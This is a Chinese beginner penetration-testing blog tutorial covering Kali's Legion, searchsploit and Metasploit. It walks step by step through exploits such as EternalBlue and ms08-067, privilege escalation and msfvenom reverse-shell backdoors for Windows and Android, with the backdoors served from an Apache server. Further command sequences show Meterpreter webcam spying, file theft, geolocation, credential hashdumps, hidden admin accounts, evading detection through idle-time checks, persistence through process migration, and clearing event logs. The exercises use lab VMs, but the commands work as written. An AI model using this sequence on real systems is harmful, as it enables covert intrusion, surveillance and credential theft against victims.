黑客玩具入门——4、漏洞扫描与Metasploit
1、Legion漏洞扫描分析工具
Legion是Sparta的一个分支,它是一个开源的、易于使用的、超级可扩展的、半自动的网络渗透测试框架。它是一款Kali Linux系统默认集成的Python GUI应用程序工具。Legion是一个Nmap、Nikto、Hydra等工具的集合,利用各个工具的优秀功能,完成收集信息、扫描和爆破等任务。
Legion主要包含以下功能:端口扫描,程序自动调用Nmap进行扫描,根据Nmap的扫描结果,nikto自动加载结果,展开更精确的扫描。针对扫描结果,使用特定的工具,比如dirbuster目录爆破,利用webslayer进行web指纹识别。针对可暴力破解的端口,调用hydra进行暴力破解。下面我们来看下如何使用这款工具:
首先我们先登录Metasploitable2,通过ifconfig命令获取其IP地址。然后
打开Legion工具。然后输入sudo legion启动工具。
点击加号。
在这里输入你要渗透的ip即可,然后点击submit按钮即可。
2、漏洞利用searchsploit
首先,大家先记下一个地址:https://www.exploit-db.com/。它是专门用来收集各种漏洞的网站。在kali系统中,有搜索漏洞数据库的本地副本,我们可以在终端窗口中输入命令去搜索。
命令就是searchsploit,它的常用选项如下:
- -c,--case [Term]:执行区分大小写的搜索,默认搜索对大小写不敏感。
- -e,--exact [Term]:对exploit标题执行EXACT匹配(默认为AND)。
- -j,--json [Term]:以JSON格式显示结果。
- -m,--mirror [EDB-ID]:将一个漏洞利用镜像副本到当前工作目录。
- -o,--overflow [Term]: exploit标题被允许溢出其列。
- -p,--path [EDB-ID]:显示漏洞利用的完整路径。如果可能, 还将复制路径到粘贴板。
- -t,--title [Term]:仅仅搜索漏洞标题,默认是标题和文件的路径。
- -u,--update [Term]:检查并安装任何exploit-db软件包更新。
- -w,--www [Term]:显示exploit-db.com的URL而不是本地路径(在线搜索)。
下面我们看下例子:
- searchsploit -t oracle windows:搜索标题中包含oracle windows的漏洞。
- searchsploit -p 3389:搜索漏洞号为3389的漏洞。
- searchsploit mysql:查找mysql的漏洞。
- searchsploit apple:查找apple的漏洞。
实践:
- 我们需要在win7上安装一个easy file sharing的软件,该软件是一种允许访客容易的经由浏览器上传、下载文件的文件分享系统。
- 安装完成后,我们可以在kali系统中,通过searchsploit easy file sharing命令,来查看该软件的一些漏洞。
- 然后我们找到/usr/share/exploitdb/exploits/windows/remote/。这个地址下的39009.py文件。
- 由于是python脚本所以我们使用python命令来执行,完整的命令是这样的:python /usr/share/exploitdb/exploits/windows/remote/39009.py xxx.xxx.xxx.xxx 80。
- 然后回车,就会发现windows7中的计算器打开了。就说明你的脚本入侵成功了。
3、Metasploit简介
Metasploit被业内誉为可以黑掉整个宇宙的工具,虽然有些夸张,但是足以见得Metasploit有多强大。Metasploit是目前最流行、 最强大、最具拓展性的渗透测试平台。2003年由HD摩尔发布第一版,2007年用ruby语言重写。后来被Rapid7收购后,分出了多个版本,有付费的,也有免费的。 Metasploit的官网是:https://www.metasploit.com/。
我们可以在Kali系统中找到该软件:
点击之后输入系统root密码,等待一会后,就变成这样了:
4、Metasploit:端口扫描
实验靶机:metasploitable2。
- 使用Nmap进行扫描,nmap xxx.xxx.xxx.xxx。
- 用metasploit模块进行扫描,search portscan。
- use auxiliary/scanner/portscan/tcp。
- show options,查看需要设置的参数。
- set rhosts xxx.xxx.xxx.xxx。
- 然后输入命令:run。即可。
5、Metasploit:SMB扫描
实验靶机:win7。
SMB,全称是Server Message Block,即服务信息块,是一个协议名。它能被用于Web链接和客户端与服务器之间的信息沟通。通过扫描SMB,可以识别目标的系统信息。
- search smb。
- use auxiliary/scanner/smb/smb_version。
- set rhosts xxx.xxx.xxx.xxx。
- run。
6、Metasploit:服务识别
实验靶机:linux。
扫描服务器的SSH服务。
- search ssh。
- use auxiliary/scanner/ssh/ssh_version。
- set rhosts xxx.xxx.xxx.xxx。
- run。
7、Metasploit:网络嗅探
获取FTP密码。
我们需要一个模拟用户:win7。需要一个实验靶机:Windows server 2008(带有FTP服务)。
- use auxiliary/sniffer/psnuffle,使用嗅探模块。
- sudo su,如果权限不够的话,切换用户。
- 输入msfconsole,启动Metasploit。
- 然后再实用模块,run即可。
8、Metasploit:SNMP扫描与枚举
SNMP是专门设计用于在IP网络管理网络节点(服务器、工作站、路由器、交换机等)的一种标准协议,它是一种应用层协议。各种网络设备上都可以看到默认启用的SNMP服务,从交换机到路由器,从防火墙到网络打印机,无一例外。
本次的实验靶机:Metasploitable2。
默认情况下,Metasploitable2的SNMP服务仅监听本地主机。所以我们需要对靶机的默认配置做一下修改。
- cd /etc/default/snmpd。
- 然后通过vim编辑一下,snmpd.pid 后面的ip改成0.0.0.0即可。
- 然后跟之前一样,搜索snmp相关的模块:search snmp_login。
- 然后,use auxiliary/scanner/snmp/snmp_login。
- 然后就是set ip。再就是run。完了
- 我们还可以使用auxiliary/scanner/snmp/snmp_enum模块。这里就不重复如何使用了。
9、Metasploit:扫描弱密码主机
实验靶机:多台windows。
使用的模块:auxiliary/scanner/smb/smb_login。
知道ip地址范围即可,批量扫描。
10、Metasploit:VNC身份识别
VNC(Virtual Network Console)是虚拟网络控制台的缩写。它是一款优秀的远程控制工具软件。VNC是在基于UNIX和Linux操作系统的免费的开源软件,远程控制能力强大,高效实用,其性能可以和windows和Mac中的任何远程控制软件媲美。在Linux中,VNC包括以下四个命令:
- vncserver
- vncviewer
- vncpasswd
- vncconnect
大多数情况,只需要1、2两个命令即可。
实验靶机:Metaspolitable2。
- use auxiliary/scanner/vnc/vnc_none_auth。
- set rhosts xxx.xxx.xxx.xxx。
- run。
然后我们试下vnc密码爆破
- use auxiliary/scanner/vnc/vnc_login。
- set rhosts xxx.xxx.xxx.xxx。
- run。
然后我们有了密码,试下vnc登录。
- 打开一个新的终端。
- 然后输入vncviewer xxx.xxx.xxx.xxx。
- 输入爆破出来的密码即可远程连接上了。
11、Wmap网站漏洞扫描
Wmap本身不是一个独立的漏洞扫描器,而是作为Metasploit的一个模块。结合Web漏洞和Web服务相关的模块协同工作,完成目标服务器的扫描任务。它的扫描结果不会自动生成报告,而是直接存入Metasploit的数据库。
- load wmap:加载wmap
- wmap_sites -a http://xxx.xxx.xxx.xxx/mutillidae/:向wmap中添加一个扫描站点。
- wmap_sites -l:查看已添加的站点。
- wmap_targets -d 0:根据已添加站点的ID,设置带扫描的目标站点。
- wmap_targets -l:检查已待扫描的目标主机。
- wmap_run -e:执行测试。
- vulns:扫描完成后,使用Metasploit命令检查漏洞记录。
- wmap_vulns -l。
实战:
- 先在Kali的浏览器里输入你已开启的Metasploitable2的虚拟机的ip。不同版本浏览器的位置可能会有些区别,但是你一定可以找到的。
- 然后可以看到这样一个超链接。
- 点击超链接,进入一个网站。这就是我们要扫描的网站。
- 然后执行:wmap_sites -a http://xxx.xxx.xxx.xxx/mutillidae/命令。
- 然后执行:wmap_sites -l。查看一下编号id。
- 然后执行测试:wmap_run -e。
- 等待结束后,可以通过vulns然后wmap_vulns -l命令查看漏洞。
12、Metasploit远程代码执行
实验靶机:Window Server 2008/Windows 7。
- search ms17-010。ms:微软。17:17年。010:第十个。
- 然后执行:use exploit/windows/smb/ms17_010_eternalblue。
- 设置一下相关的参数:
- set rhosts xxx.xxx.xxx.xxx。
- set payload windows/x64/shell/reverse_tcp。
- set lhost xxx.xxx.xxx.xxx。
- run。
13、Metasploit:利用浏览器漏洞远程执行代码
实验靶机:Windows XP。漏洞利用:ms12-004。
- search ms12-004。
- use exploit/windows/browser/ms12_004_midi。
- set srvhost xxx.xxx.xxx.xxx(当前主机ip)。
- set payload windows/x64/shell/reverse_tcp。
- set lport 6666。
- run。
- 然后监听成功后,会生成一个随机的地址。在windows上打开这个地址。回到kali的命令行中,可以查看到它的session。
- 然后输入命令:sessions。
- 然后使用session:sessions -i [session id]。
- 然后就可以进去了。
14、Metasploit:漏洞提权
实验靶机:windows xp。
前提必须要有一个session会话。
- search ms08-067。
- use exploit/windows/smb/ms08_067_netapi。
- set rhosts xxx.xxx.xxx.xxx。
- set lport 5555。
- run。
- sessions。
- search 14-002。
- use exploit/windows/local/bthpan。
- set session [session id]。
- set payload windows/meterpreter/reverse_tcp。
- set lport 6666。
- run。
其他模块:
- exploit/windows/local/ms13_053_schlamperei
- exploit/windows/local/ms13_081_track_popup_menu
15、Metasploit:生成后门
首先,windows、Linux、java、php、Android等后门都支持。嘿嘿。
1、生成windows后门
命令:
- msfvenom -p windows/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx(本机ip) lport=5555 -f exe -o /home/kali(你的home目录下的用户目录)/payload.exe
- msfvenom -p windows/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx(本机ip) lport=5555 -i 3 -e x86/shikata_ga_nai -f exe -o /home/kali(你的home目录下的用户目录)/payload.exe
Msfvenom:
- msfvenom --list archs,查看支持的系统架构。
- msfvenom --list platforms,查看支持系统平台。
- msfvenom -l payload,查看所有可用的payload。
- msfvenom -l formats,查看所有的输出格式。
- msfvenom -l encrypt,查看所有的加密方式。
- msfvenom -l encoders,查看所有的解码器。
实践:
- 先输入上面的命令中的第一条命令,然后在你的home/XXX目录下可以看到一个payload.exe文件。
- 然后我们需要启动apache服务:sudo service apache2 start。
- 然后在windows的虚拟机里,可以通过浏览器访问kali的ip地址,就会打印出Apache服务。
- 然后我们把生成的exe文件复制到windows中。
- 删除Apache主页的页面,把payload.exe复制过去。(想要右键删除,发现删不了,好吧,用命令行删吧)
- cd /var/www/html。
- sudo rm index.nginx-debian.html
- sudo rm index.html
- sudo cp /home/xx(你的用户名)/payload.exe /var/www/html/
- 然后刷新windows浏览器刚才的地址,就会看到一个文件,然后把它保存到本地的桌面上即可。
- 删除Apache主页的页面,把payload.exe复制过去。(想要右键删除,发现删不了,好吧,用命令行删吧)
- 打开Metasploit。(刚才的payload.exe相当于被控端,我们还需要和主控端结合使用)。设置使用模块及参数:
- use exploit/multi/handler
- set payload windows/meterpreter/reverse_tcp
- set lhost xxx.xxx.xxx.xxx(你的主控端ip)
- set lport 5555
- run
- 然后出现下面的命令行主机名就说明我们成功了:
2、生成Android后门
实验靶机:Android模拟器。
总体的流程跟windows后门是很类似的,只是使用的模块有些许的区别。我们需要修改一些配置:
- 把kali系统的网络连接模式改成桥接模式,因为安卓模拟器是安在物理主机上的,桥接模式之前讲过了这里不再多说。
- 安装一个安卓模拟器,不要安装腾讯手游助手,那个更偏向游戏玩耍。安装个夜神啊啥的都行。注意,是安装在你的物理机上的。
- 然后输入:sudo ifconfig。我们会发现,ip地址变化了。
实验开始:
- msfvenom -p android/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx(本机ip) lport=5555 R>/home/kali(你的home目录下的用户目录)/payload.apk
- 同样的开始Apache服务:sudo service apache2 start。
- 然后在你的安卓模拟器的浏览器里,输入你的kali虚拟机的ip。
- 把你的apk安装包复制到apache目录下:sudo cp /home/zakingwong/payload.apk /var/www/html/。
- 刷新下安卓模拟器的目录。发现有了新的apk文件。
- 跟windows的操作一样,下载apk,安装apk。
- 然后,打开Metasploit。
- 使用主控端模块,跟windows一样:use exploit/multi/handler。
- set payload android/meterpreter/reverse_tcp。
- set lhost xxx.xxx.xxx.xxx(你的主控端ip)。
- set lport 5555。
- run
然后你就可以干你想干的事了。
3、远程控制安卓手机,调用摄像头拍照
- webacm_list,查看有哪些摄像头。
- webacm_snap,从指定的摄像头拍摄快照:
- -h:显示帮助。
- -i:要使用的网络摄像头的索引号。
- -p:JPEG图像文件路径。默认为HOME/[随机乱码名字].jpeg。
- -q:JPEG图像质量,默认为50。
- -v:自动查看JPEG图像,默认为“true”。
- webcam_stream:从指定的网络摄像头播放视频流。
- 然后,自己用命令去玩吧。
- 友情提示,链接你wifi的安卓手机,都可以这么玩。所以,不要干坏事!!!!违法的!!!
4、远程控制安卓手机,上传下载文件
我们先来学下文件系统命令:
- cat,读取并输出到标准输出。
- cd,更改目录。
- checksum,检索文件的校验和。
- cp,将源文件复制到目标文件夹。
- dir,列表文件,ls的别名。
- download,从目标系统文件下载。
- eidt,用vim编辑文件。
- getlwd,打印本地目录。
- getwd,打印工作目录。
- lcd,更改本地目录。
- lls,列出本地文件。
- lpwd,打印本地工作目录。
- ls,列出文件。
- mkdir,创建目录。
- mv,将源文件移动到目标目录。
- pwd,输出工作目录。
- rm,删除文件。
- search,搜索文件。
- upload,上传文件或目录。
实践从手机下载文件,上传文件,大家可以自己尝试哦:
- cd /
- ls
- cd sdcard
- ls
- cd DCIM
- ls
- cd Camera
- download 1.jpeg
5、远程控制安卓手机,实现定位
具体的Android命令有很多,这里就不多说了,大家有兴趣可以自己去百度查下。然后实现定位就很简单了,使用geolocate命令即可。
16、Meterpreter:Windows访问文件系统
- 首先,把网络连接模式修改成NAT模式
- 在windows运行之前生成好的exe文件,如果不知道咋回事回头看下。
- 在kali系统上开启主控端:use exploit/multi/handler 。
- set payload windows/meterpreter/reverse_tcp。
- set lport 6666。
- set lhost xxx.xxx.xxx.xxx(主控端ip)。
- run。
- 跟之前一样,被控端安装下exe文件。
- 然后就可以操作windows的系统文件了。相关命令跟之前安卓部分的命令都差不多。这里就不多说了。
17、Meterpreter:Windows权限提升和获取凭证
有的时候,你可能会发现自己的Meterpreter会话受到了用户权限的限制。修改注册表、安装后门或导出密码等活动都需要提升用权限。而Meterpreter给我们提供了一个getsystem命令,可以实现提权。
另外,getuid可以获取当前的用户信息,system是系统的最高权限。如果使用system命令仍无法获取,那么接下来可以使用之前学过的漏洞提权。
我们来看下漏洞提权的实践步骤:
- search ms13-053。
- use exploit/windows/local/ms13_053_schlamperei。
- 然后我们需要设置一下session。之前学过的,这里不说了。
- set session 1。
- set payload windows/meterpreter/reverse_tcp。
- set lport 6666。
- run。
提升权限后,可以通过hashdump模块,从SAM数据库中导出本地账号。数据的输出格式是:
用户名:SID:LM哈希:NTLM哈希:::
18、Meterpreter:Windows运行程序和屏幕截图
快速执行命令脚本:每次我们执行的命令内容基本上都是类似的,所以我们可以创建一个文件。
1.然后右键选择用mousepad打开。
2.然后可以把我们常用的命令写到这个脚本里。内容如下:
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.10.129 set lport 5555
3.然后保存文件。
4.打开Metasploit。输入这样的命令:resource /home/(你的用户名)/windows_control。
5.脚本就运行了。
6.然后直接run。
7.再打开被控端就可以了。
1、运行程序
execute命令可以可以在目标系统中执行应用程序。该命令的使用方法如下:
- execute -f <file> [Options]
- -H,创建一个隐藏进程。
- -a,传递给命令的参数。
- -i,跟进程进行交互。
- -m,从内存中执行。
- -t,使用当前伪造的线程令牌运行进程。
- -s,在给定会话中执行进程。
然后哈哈哈哈哈,我们可以试一下这个命令:execute -f calc.exe。打开Windows的计算器。哦吼,好玩吧。
2、屏幕截图
screenshot命令来进行截图,并存储在kali中。
screenshare命令可以进行实时的监控。
19、Meterpreter:Windows创建新账号和启用远程桌面
1、创建新账号
通过getgui脚本,使用-u和-p参数,并给它分配管理员权限,然后将其添加到远程桌面用户组中。
run getgui -u hack -p pass123
注意:如果你的权限不是SYSTEM,需要用之前学过的方法进行提权。提权之后再用上面的命令创建用户。
2、启用远程桌面
如果用户没有开启远程桌面功能,那么可以通过:
run getgui -e
来开启远程桌面。
在开启远程桌面之前,我们还需要使用idletime命令检查远程用户的空闲时常,这样可以降低你被发现的概率。
然后我们在新的终端执行:rdesktop [你的目标ip:3389]。
然后可能你创建的用户权限不够。那么你可以在Meterpreter中执行shell命令,也就是打开你控制的目标主机的终端,执行下面的命令:
net localgroup administrators hack/add。这里的hack就是你之前创建的用户名。
20、Meterpreter:Windows进程绑定和清除事件日志
1、进程绑定
Meterpreter可以通过与其他进程绑定来实现持久化。
- 使用ps命令查看运行的进程。(当然要通过之前写好的脚本链接主控端和被控端,进入Meterpreter)
- 通过getpid命令,拿到当前你这个hack脚本的进程。
- 然后我们随便找一个ps列出来的进程绑定吧。使用migrate [pid]命令即可。
- 在查看pid就会变成绑定的那个pid了。
2、清除日志
可以通过clearev命令来清除日志。
ps:我们可以通过右键计算机-》管理-》事件查看器-》Windows日志。来查看日志。
本文来自博客园,作者:Zaking,转载请注明原文链接:https://www.cnblogs.com/zaking/p/17864907.html